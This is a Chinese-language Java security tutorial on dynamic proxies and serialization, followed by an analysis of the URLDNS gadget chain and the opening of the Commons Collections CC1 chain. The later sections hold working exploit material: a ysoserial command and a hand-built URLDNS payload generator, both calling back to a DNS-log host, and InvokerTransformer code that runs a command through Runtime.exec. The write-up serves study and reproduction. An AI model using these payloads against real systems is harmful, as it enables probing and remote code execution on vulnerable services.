1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package java.lang.reflect;import java.lang.reflect.InvocationHandler;public class Proxy implements java .io.Serializable { public static InvocationHandler getInvocationHandler (Object proxy) throws IllegalArgumentException { ... } public static Object newProxyInstance (ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException { ... } public static Class<?> getProxyClass(ClassLoader loader, Class<?>... interfaces) { ... } public static boolean isProxyClass (Class<?> cl) { return java.lang.reflect.Proxy.class.isAssignableFrom(cl) && proxyClassCache.containsValue(cl); } private static native Class defineClass0 (ClassLoader loader, String name, byte [] b, int off, int len) ; }
java.lang.reflect.InvocationHandler
接口用于调用Proxy
类生成的代理类方法,该类只有一个invoke
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package java.lang.reflect;import java.lang.reflect.Method;public interface InvocationHandler { public Object invoke (Object proxy, Method method, Object[] args) throws Throwable; }
使用java.lang.reflect.Proxy动态创建类对象 ClassLoader
和Unsafe
都有一个叫做defineClassXXX
的native
方法,我们可以通过调用这个native
方法动态的向JVM
创建一个类对象,而java.lang.reflect.Proxy
类恰好也有这么一个native
方法,所以我们也将可以通过调用java.lang.reflect.Proxy
类defineClass0
方法实现动态创建类对象。
ProxyDefineClassTest 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package com.y5neko.sec.proxy;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import static com.y5neko.sec.classloader.TestClassLoader.TEST_CLASS_BYTES;import static com.y5neko.sec.classloader.TestClassLoader.TEST_CLASS_NAME;public class ProxyDefineClassTest { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class clazz = Class.forName("java.lang.reflect.Proxy" ); ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Method method = clazz.getDeclaredMethod("defineClass0" , ClassLoader.class, String.class, byte [].class, int .class, int .class); method.setAccessible(true ); Class helloWorldClass = (Class) method.invoke(null ,new Object []{classLoader, TEST_CLASS_NAME, TEST_CLASS_BYTES, 0 , TEST_CLASS_BYTES.length}); System.out.println(helloWorldClass); } }
创建代理类实例 我们可以使用Proxy.newProxyInstance
来创建动态代理类实例,或者使用Proxy.getProxyClass()
获取代理类对象再反射的方式来创建,下面我们以com.y5neko.sec.proxy.FileSystem
接口为例,演示如何创建其动态代理类实例。
1 2 3 4 5 6 7 8 9 10 package com.y5neko.sec.proxy;import java.io.File;import java.io.Serializable;public interface FileSystem extends Serializable { String[] list(File file); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package com.y5neko.sec.proxy;import java.io.File;public class UnixFileSystem implements FileSystem { public int spaceTotal = 996 ; @Override public String[] list(File file) { System.out.println("正在执行[" + this .getClass().getName() + "]类的list方法,参数:[" + file + "]" ); return file.list(); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.y5neko.sec.proxy;import java.io.Serializable;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class JDKInvocationHandler implements InvocationHandler , Serializable { private final Object target; public JDKInvocationHandler (Object target) { this .target = target; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { if ("toString" .equals(method.getName())) { return method.invoke(target, args); } System.out.println("即将调用[" + target.getClass().getName() + "]类的[" + method.getName() + "]方法..." ); Object obj = method.invoke(target, args); System.out.println("已完成[" + target.getClass().getName() + "]类的[" + method.getName() + "]方法调用..." ); return obj; } }
Proxy.newProxyInstance创建动态代理类实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.y5neko.sec.proxy;import java.lang.reflect.Proxy;public class TestProxyInstance { public static void main (String[] args) { FileSystem fileSystem = new UnixFileSystem (); FileSystem proxyInstance = (FileSystem) Proxy.newProxyInstance( FileSystem.class.getClassLoader(), new Class []{FileSystem.class}, new JDKInvocationHandler (fileSystem) ); System.out.println(proxyInstance); } }
Proxy.getProxyClass反射创建动态代理类实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package com.y5neko.sec.proxy;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;public class TestGetProxyClass { public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { FileSystem fileSystem = new UnixFileSystem (); InvocationHandler handler = new JDKInvocationHandler (fileSystem); Class proxyClass = Proxy.getProxyClass( FileSystem.class.getClassLoader(), new Class []{FileSystem.class} ); FileSystem proxyInstance = (FileSystem) proxyClass.getConstructor( new Class []{InvocationHandler.class}).newInstance(new Object []{handler} ); System.out.println(proxyInstance); } }
动态代理添加方法调用日志示例 假设我们有一个叫做FileSystem
接口,UnixFileSystem
类实现了FileSystem
接口,我们可以使用JDK动态代理
的方式给FileSystem
的接口方法执行前后都添加日志输出。
FileSystemProxyTest 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package com.y5neko.sec.proxy;import java.io.File;import java.lang.reflect.Proxy;import java.util.Arrays;public class FileSystemProxyTest { public static void main (String[] args) { FileSystem fileSystem = new UnixFileSystem (); FileSystem proxyInstance = (FileSystem) Proxy.newProxyInstance( FileSystem.class.getClassLoader(), new Class []{FileSystem.class}, new JDKInvocationHandler (fileSystem) ); System.out.println("动态代理生成的类名:" + proxyInstance.getClass()); System.out.println("----------------------------------------------------------------------------------------" ); System.out.println("动态代理生成的实例名:" + proxyInstance); System.out.println("----------------------------------------------------------------------------------------" ); String[] files = proxyInstance.list(new File ("." )); System.out.println("----------------------------------------------------------------------------------------" ); System.out.println("UnixFileSystem.list方法执行结果:" + Arrays.toString(files)); System.out.println("----------------------------------------------------------------------------------------" ); boolean isFileSystem = proxyInstance instanceof FileSystem; boolean isUnixFileSystem = proxyInstance instanceof UnixFileSystem; System.out.println("动态代理类[" + proxyInstance.getClass() + "]是否是FileSystem类的实例:" + isFileSystem); System.out.println("----------------------------------------------------------------------------------------" ); System.out.println("动态代理类[" + proxyInstance.getClass() + "]是否是UnixFileSystem类的实例:" + isUnixFileSystem); System.out.println("----------------------------------------------------------------------------------------" ); } }
我们来分析一下整个调用流程
首先创建了一个UnixFileSystem类的实例,用以JDKInvocationHandler动态处理类代理
接着使用JDK动态代理生成FileSystem动态代理类实例,因此动态代理生成的类名和实例名分别是class com.sun.proxy.$Proxy0
和com.y5neko.sec.proxy.UnixFileSystem@29453f44
使用动态代理的方式执行list
方法,实际上执行的是UnixFileSystem
类的list方法,并且通过JDK动态代理的invoke方法覆写了InvocationHandler
类的invoke方法,增加了前后和执行中的日志输出
接着判断动态代理类com.sun.proxy.$Proxy0
属于哪个类的实例
注意此处结果,第一个为true,第二个为false,因为proxyInstance本身是FileSystem类,但是使用了UnixFileSystem类作为动态代理
动态代理类生成的$ProxyXXX类代码分析 java.lang.reflect.Proxy
类是通过创建一个新的Java类(类名为com.sun.proxy.$ProxyXXX)
的方式来实现无侵入的类方法代理功能的。
动态代理生成出来的类有如下技术细节和特性:
动态代理的必须是接口类,通过动态生成一个接口实现类
来代理接口的方法调用(反射机制
)。
动态代理类会由java.lang.reflect.Proxy.ProxyClassFactory
创建。
ProxyClassFactory
会调用sun.misc.ProxyGenerator
类生成该类的字节码,并调用java.lang.reflect.Proxy.defineClass0()
方法将该类注册到JVM
。
该类继承于java.lang.reflect.Proxy
并实现了需要被代理的接口类,因为java.lang.reflect.Proxy
类实现了java.io.Serializable
接口,所以被代理的类支持序列化/反序列化
。
该类实现了代理接口类(示例中的接口类是com.y5neko.sec.proxy.FileSystem
),会通过ProxyGenerator
动态生成接口类(FileSystem
)的所有方法,
该类因为实现了代理的接口类,所以当前类是代理的接口类的实例(proxyInstance instanceof FileSystem
为true
),但不是代理接口类的实现类的实例(proxyInstance instanceof UnixFileSystem
为false
)。
该类方法中包含了被代理的接口类的所有方法,通过调用动态代理处理类(InvocationHandler
)的invoke
方法获取方法执行结果。
该类代理的方式重写了java.lang.Object
类的toString
、hashCode
、equals
方法。
如果动过动态代理生成了多个动态代理类,新生成的类名中的0
会自增,如com.sun.proxy.$Proxy0/$Proxy1/$Proxy2
。
动态代理生成的com.sun.proxy.$Proxy0
类代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.sun.proxy.$Proxy0;import java.io.File;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;import java.lang.reflect.UndeclaredThrowableException;public final class $Proxy0 extends Proxy implements FileSystem { private static Method m1; private static Method m3; private static Method m0; private static Method m2; public $Proxy0(InvocationHandler var1) { super (var1); } public final boolean equals (Object var1) { try { return (Boolean) super .h.invoke(this , m1, new Object []{var1}); } catch (RuntimeException | Error var3) { throw var3; } catch (Throwable var4) { throw new UndeclaredThrowableException (var4); } } public final String[] list(File var1) { try { return (String[]) super .h.invoke(this , m3, new Object []{var1}); } catch (RuntimeException | Error var3) { throw var3; } catch (Throwable var4) { throw new UndeclaredThrowableException (var4); } } public final int hashCode () { try { return (Integer) super .h.invoke(this , m0, (Object[]) null ); } catch (RuntimeException | Error var2) { throw var2; } catch (Throwable var3) { throw new UndeclaredThrowableException (var3); } } public final String toString () { try { return (String) super .h.invoke(this , m2, (Object[]) null ); } catch (RuntimeException | Error var2) { throw var2; } catch (Throwable var3) { throw new UndeclaredThrowableException (var3); } } static { try { m1 = Class.forName("java.lang.Object" ).getMethod("equals" , Class.forName("java.lang.Object" )); m3 = Class.forName("com.y5neko.sec.proxy.FileSystem" ).getMethod("list" , Class.forName("java.io.File" )); m0 = Class.forName("java.lang.Object" ).getMethod("hashCode" ); m2 = Class.forName("java.lang.Object" ).getMethod("toString" ); } catch (NoSuchMethodException var2) { throw new NoSuchMethodError (var2.getMessage()); } catch (ClassNotFoundException var3) { throw new NoClassDefFoundError (var3.getMessage()); } } }
动态代理类实例序列化问题 动态代理类符合Java
对象序列化条件,并且在序列化/反序列化
时会被ObjectInputStream/ObjectOutputStream
特殊处理。
FileSystemProxySerializationTest 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package com.y5neko.sec.proxy;import java.io.*;import java.lang.reflect.Proxy;public class FileSystemProxySerializationTest { public static void main (String[] args) { try { FileSystem fileSystem = new UnixFileSystem (); FileSystem proxyInstance = (FileSystem) Proxy.newProxyInstance( FileSystem.class.getClassLoader(), new Class []{FileSystem.class}, new JDKInvocationHandler (fileSystem) ); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(proxyInstance); oos.flush(); oos.close(); System.out.println("序列化结果为:" ); System.out.println(baos); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream in = new ObjectInputStream (bais); FileSystem test = (FileSystem) in.readObject(); System.out.println("反序列化类实例类名:" + test.getClass()); System.out.println("反序列化类实例:" + test); }catch (Exception e){ e.printStackTrace(); } } }
动态代理生成的类在反序列化/反序列化
时不会序列化该类的成员变量,并且serialVersionUID
为0L
,也将是说将该类的Class
对象传递给java.io.ObjectStreamClass
的静态lookup
方法时,返回的ObjectStreamClass
实例将具有以下特性:
调用其getSerialVersionUID
方法将返回0L
。
调用其getFields
方法将返回长度为零的数组。
调用其getField
方法将返回null
。
但其父类(java.lang.reflect.Proxy
)在序列化时不受影响,父类中的h
变量(InvocationHandler
)将会被序列化,这个h
存储了动态代理类的处理类实例以及动态代理的接口类的实现类的实例。
动态代理生成的对象(com.sun.proxy.$ProxyXXX
)序列化的时候会使用一个特殊的协议:TC_PROXYCLASSDESC(0x7D)
,这个常量在java.io.ObjectStreamConstants
中定义的。在反序列化时也不会调用java.io.ObjectInputStream
类的resolveClass
方法而是调用resolveProxyClass
方法来转换成类对象的。
Java类序列化 在很多语言中都提供了对象反序列化支持,Java在JDK1.1(1997年
)时就内置了对象反序列化(java.io.ObjectInputStream
)支持。Java对象序列化指的是将一个Java类实例序列化成字节数组
,用于存储对象实例化信息:类成员变量和属性值。 Java反序列化可以将序列化后的二进制数组转换为对应的Java类实例
。
Java序列化对象因其可以方便的将对象转换成字节数组,又可以方便快速的将字节数组反序列化成Java对象而被非常频繁的被用于Socket
传输。 在RMI(Java远程方法调用-Java Remote Method Invocation)
和JMX(Java管理扩展-Java Management Extensions)
服务中对象反序列化机制被强制性使用。在Http请求中也时常会被用到反序列化机制,如:直接接收序列化请求的后端服务、使用Base编码序列化字节字符串的方式传递等。
Java反序列化漏洞 自从2015年Apache Commons Collections反序列化漏洞 (ysoserial 的最早的commit记录是2015年1月29日,说明这个漏洞可能早在2014年甚至更早就已经被人所利用)利用方式被人公开后直接引发了Java生态系统的大地震,与此同时Java反序列化漏洞仿佛掀起了燎原之势,无数的使用了反序列化机制的Java应用系统惨遭黑客疯狂的攻击,为企业安全甚至是国家安全带来了沉重的打击!
直至今日(2019年12月)已经燃烧了Java平台四年之久的反序列化漏洞之火还仍未熄灭。如今的反序列化机制在Java中几乎成为了致命的存在,反序列化漏洞带来的巨大危害也逐渐被我们熟知。2018年1月Oracle安全更新了237个漏洞,而反序列化漏洞就占了28.5%,由此可见Oracle对反序列化机制的深恶痛绝。2012年JEP 154
提出了移除反序列化机制:JEP 154: Remove Serialization 、JDK-8046144 ,但似乎并未通过,移除反序列化是一个持久性的工作,短期内我们还是需要靠自身去解决反序列化机制带来的安全问题。
Java 序列化/反序列化 在Java中实现对象反序列化非常简单,实现java.io.Serializable(内部序列化)
或java.io.Externalizable(外部序列化)
接口即可被序列化,其中java.io.Externalizable
接口只是实现了java.io.Serializable
接口。
反序列化类对象时有如下限制:
被反序列化的类必须存在。
serialVersionUID
值必须一致。
除此之外,反序列化类对象是不会调用该类构造方法 的,因为在反序列化创建类实例时使用了sun.reflect.ReflectionFactory.newConstructorForSerialization
创建了一个反序列化专用的Constructor(反射构造方法对象)
,使用这个特殊的Constructor
可以绕过构造方法创建类实例(前面章节讲sun.misc.Unsafe
的时候我们提到了使用allocateInstance
方法也可以实现绕过构造方法创建类实例)。
java.io.ObjectOutputStream
类最核心的方法是writeObject
方法,即序列化类对象。
java.io.ObjectInputStream
类最核心的功能是readObject
方法,即反序列化类对象。
所以,只需借助ObjectInputStream
和ObjectOutputStream
类我们就可以实现类的序列化和反序列化功能了。
java.io.Serializable(内部序列化) java.io.Serializable
是一个空的接口,我们不需要实现java.io.Serializable
的任何方法,代码如下:
您可能会好奇我们实现一个空接口有什么意义?其实实现java.io.Serializable
接口仅仅只用于标识这个类可序列化
。实现了java.io.Serializable
接口的类原则上都需要生产一个serialVersionUID
常量,反序列化时如果双方的serialVersionUID
不一致会导致InvalidClassException
异常。如果可序列化类未显式声明 serialVersionUID
,则序列化运行时将基于该类的各个方面计算该类的默认 serialVersionUID
值。
DeserializationTest.java 核心逻辑其实就是使用ObjectOutputStream
类的writeObject
方法序列化DeserializationTest
类,使用ObjectInputStream
类的readObject
方法反序列化DeserializationTest
类
简化后的代码片段如下:
1 2 3 4 5 6 7 ObjectOutputStream out = new ObjectOutputStream (baos);out.writeObject(t); ObjectInputStream in = new ObjectInputStream (bais);DeserializationTest test = (DeserializationTest) in.readObject();
使用反序列化方式创建类实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.y5neko.sec.serialize;import sun.reflect.ReflectionFactory;import java.lang.reflect.Constructor;public class ReflectionFactoryTest { public static void main (String[] args) { try { ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor constructor = reflectionFactory.newConstructorForSerialization(DeserializationTest.class, Object.class.getConstructor()); System.out.println(constructor.newInstance()); }catch (Exception e){ e.printStackTrace(); } } }
java.io.Externalizable(外部序列化) java.io.Externalizable
和java.io.Serializable
几乎一样,只是java.io.Externalizable
接口定义了writeExternal
和readExternal
方法需要序列化和反序列化的类实现,其余的和java.io.Serializable
并无差别。
ExternalizableTest.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 package com.y5neko.sec.serialize;import java.io.*;import java.util.Arrays;public class ExternalizableTest implements java .io.Externalizable{ private String username; private String email; public void setUsername (String username) { this .username = username; } public void setEmail (String email) { this .email = email; } public String getUsername () { return this .username; } public String getEmail () { return this .email; } @Override public void writeExternal (ObjectOutput oot) throws IOException { oot.writeObject(username); oot.writeObject(email); } @Override public void readExternal (ObjectInput oit) throws IOException, ClassNotFoundException { this .username = (String) oit.readObject(); this .email = (String) oit.readObject(); } public static void main (String[] args) { ByteArrayOutputStream baos = new ByteArrayOutputStream (); try { ExternalizableTest t = new ExternalizableTest (); t.setUsername("Y5neKO" ); t.setEmail("1727058834@qq.com" ); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(t); oos.flush(); oos.close(); System.out.println("序列化后的 数据:" ); System.out.println(baos); System.out.println("ExternalizableTest类序列化后的字节数组:" + Arrays.toString(baos.toByteArray())); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ExternalizableTest test = (ExternalizableTest) ois.readObject(); System.out.println("用户名:" + test.getUsername() + "\n邮箱:" + test.getEmail()); ois.close(); }catch (Exception e){ e.printStackTrace(); } } }
自定义序列化(writeObject)和反序列化(readObject) 实现了java.io.Serializable
接口的类,还可以定义如下方法(反序列化魔术方法
),这些方法将会在类序列化或反序列化过程中调用:
private void writeObject(ObjectOutputStream oos)
,自定义序列化。
private void readObject(ObjectInputStream ois)
,自定义反序列化。
private void readObjectNoData()
。
protected Object writeReplace()
,写入时替换对象。
protected Object readResolve()
。
具体的方法名定义在java.io.ObjectStreamClass#ObjectStreamClass(java.lang.Class<?>)
,其中方法有详细的声明。
URLDNS利用链
分析 URLDNS主要的作用就在于检测服务器上是否存在反序列化漏洞,如果存在就会发送一个DNS请求,这里所利用的就类似于SSRF的一中形式,所以漏洞的触发点就在URL上面(攻击者有可能找RCE的时候没找到,然后找到了URL上面,能够利用一下上面的SSRF)
利用链只依赖jdk本身提供的类,不依赖其他第三方类,所以具有很高的通用性,可以用于判断目标是否存在反序列化漏洞。
我们可以从ysoserial工具的URLDNS链的payload注释中看见整条利用链
可以看到触发点是HashMap类的readObject方法,直接开始审计
可以看到HashMap实现了Serializable接口,跟进到readObject方法
关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { float lf = Math.min(Math.max(0.25f , loadFactor), 4.0f ); float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
readObject首先从输出流中读取序列化数据,然后开始一系列反序列化操作,到最后来到了gadget中的putVal方法
putVal方法本身是用来实现Map.put及相关方法,我们要关注的是其中调用的hash方法
跟进hash方法
如果key对象不是null的话就会调用hashCode方法,而这个key对象来自哪里
反观一下readObject方法
我们发现key对象就来自于反序列化后的内容,也就是我们传入的URL类对象
因此我们回到hashCode方法,跟进java.net.URL
类
可以看到URL类实现了Serializable接口
继续跟进到触发点hashCode方法
可以看到如果hashCode值不等于-1的话,就会直接返回hashCode的值,则不会触发url解析
如果等于-1就会调用handler的hashCode方法,跟进看看handler对象
发现是URLStreamHandler类,也就是说这里实际上调用的是handler的hashCode方法,跟进
可以看到调用了getHostAddress方法,跟进
这里通过InetAddress类的getByName方法进行了DNS解析,这就是最终产生DNS解析记录的地方
整个调用链如下:
1 HashMap.readObject() -> HashMap.putVal() -> HashMap.hash () -> URL.hashCode() -> URLStreamHandler.hashCode().getHostAddress() -> URLStreamHandler.getHostAddress().InetAddress.getByName()
复现 我们通过一段反序列化代码测试一下
TestURLDNS.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.y5neko.sec.serialize;import java.io.*;public class TestURLDNS { public static void main (String[] args) throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream (new File ("URLDNS" )); ObjectInputStream ois = new ObjectInputStream (fis); Object test = ois.readObject(); } }
通过ysoserial生成URLDNS的payload
1 java -jar ysoserial-all.jar URLDNS "http://d1dd3347.su19.org" > URLDNS
我们直接在HashMap类的readObject方法下断点,然后运行
可以看到我们的payload反序列化后作为key传入hash函数
此时key不为null,调用URL类的hashCode方法
上一步中传入hashCode值为-1,紧接着调用handler(URLStreamHandler类)的hashCode方法,并传入this(URL类)
后面就是形成dns解析的过程了,我们直接略过
成功解析
思考 回到gadget,我们发现HashMap.put()方法中也调用了hash方法
按道理来说进行put操作的时候也会触发dns解析
TestHashMapPut.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.y5neko.sec.serialize;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class TestHashMapPut { public static void main (String[] args) throws MalformedURLException { HashMap map = new HashMap (); URL url = new URL ("http://d1dd3347.su19.org/" ); map.put(url, 1 ); } }
可以看到确实触发了解析,我们再看一下ysoserial工具序列化生成payload的过程
这里也用到了HashMap.put方法,但没有产生dns解析记录
其实是因为重写了openConnection方法和getHostAddress方法,作者是为了防止干扰误判才进行了重写
那这样的话反序列化后会不会也执行不了dns查询呢
看一下URL类中handler的处理
我们发现是通过transient进行修饰的,而被transient修饰的属性无法被序列化,因此在最终反序列化的过程中仍然能执行dns查询
TestTransient.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package com.y5neko.sec.serialize;import java.io.*;import java.util.Arrays;public class TestTransient { public static void main (String[] args) throws IOException, ClassNotFoundException { Test test = new Test (); test.test = "Test Value" ; System.out.println(test.test); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(test); System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray())); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); Test serTest = (Test) objectInputStream.readObject(); System.out.println(serTest.test); } } class Test implements Serializable { transient public String test; }
可以看到序列化后test的值为null,并没有代入其中
EXP 通过对URLDNS利用链的分析,我们可以自行构建EXP
首先来到最外层的URL类的hashCode方法
第一步保证hashCode值为-1,我们可以通过反射设置属性值
紧接着来到handler对象,发现是实例化的URLStreamHandler,但是他本身是个抽象类无法被实例化
也就是说我们实例化的其实是他的子类
这里会根据URL类中的构造方法来识别protocal,从而实例化相应协议的handler
之前提到过为了防止序列化生成payload时产生多余解析,我们需要重写一下handler中的getHostAddress方法
而openConnection则作为抽象类必须被实现
我们可以通过URL类的构造方法public URL(URL context, String spec, URLStreamHandler handler)
来自定义handler,从而重写上述两种方法
接着我们利用HashMap.put方法作为跳板,调用HashMap.putVal方法和HashMap.Hash方法
接着序列化HashMap对象后输出payload即可
由此我们可以构造exp
TestURLDNSExp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package com.y5neko.sec.serialize;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.net.*;import java.util.HashMap;public class TestURLDNSExp { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { URLStreamHandler handler = new URLStreamHandler () { @Override protected URLConnection openConnection (URL u) { return null ; } @Override protected synchronized InetAddress getHostAddress (URL u) { return null ; } }; Class clazz = Class.forName("java.net.URL" ); Constructor constructor = clazz.getConstructor(URL.class,String.class,URLStreamHandler.class); Object object = constructor.newInstance(null ,"http://urldns.d1dd3347.su19.org" ,handler); Field field = clazz.getDeclaredField("hashCode" ); field.setAccessible(true ); HashMap ht = new HashMap (); ht.put(object,1 ); field.set(object,-1 ); FileOutputStream fos = new FileOutputStream ("H:\\学习记录\\学习记录Markdown\\Java安全通用\\URLDNS2" ); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(ht); System.out.println(ht); } }
成功生成payload文件,并验证成功
Apache Commons Collections反序列化漏洞 Apache Commons
是Apache
开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons
当中有一个组件叫做Apache Commons Collections
,主要封装了Java的Collection(集合)
相关类对象。本节将逐步详解Collections
反序列化攻击链(仅以TransformedMap
调用链为示例)最终实现反序列化RCE
。
CC1 1 2 3 环境: JDK版本:jdk8u71以下 组件版本:commons-collections-3.2.1
分析 和URLDNS链不同的是,CC1可以用来执行命令,作为整个CC链的起点,对整个CC链的发展有着巨大的作用
首先来到ysoserial工具的payload,从注释我们可以看见整个利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
我们可以看到,CC1链的终点是InvokerTransformer.transform方法,来到collections源码开始审计
发现transform方法的源头在Transformer接口
从名字我们可以看出这个接口是用于类型转换的,在开发中比较常用,我们往下寻找实现了这个接口并且同时实现了反序列化接口的类
我们在其中找到了InvokerTransformer类,可以看到他也实现了Serializable接口
我们往下观察一下他的构造器,以及重写的transform方法
构造器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private InvokerTransformer (String methodName) { super (); iMethodName = methodName; iParamTypes = null ; iArgs = null ; } public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
transform方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
其中第二种有参构造器,接受了三个参数即:参数为方法名,所调用方法的参数类型,所调用方法的参数值
接着我们看一下transform方法
其中传入的input对象,相当于一个反射执行方法,结合构造器来看,这里的参数都是可控的,我们就可以通过这个来调用任意类的任意方法,这里以Runtime类为例
TestInvokerTransformer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package com.y5neko.sec.deserialize;import org.apache.commons.collections.functors.InvokerTransformer;public class TestInvokerTransformer { public static void main (String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); invokerTransformer.transform(runtime); } }
相当于替我们执行了反射过程,接下来我们需要找一个重写了readObject,且实现了transform方法的子类
直接查找用法,发现了很多调用了transform的方法,我们关注TransformedMap类下的checkSetValue方法
接下来找到构造器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
这里的构造器和checkSetValue方法都是protected权限,所以我们要找到一个内部实例化的方法
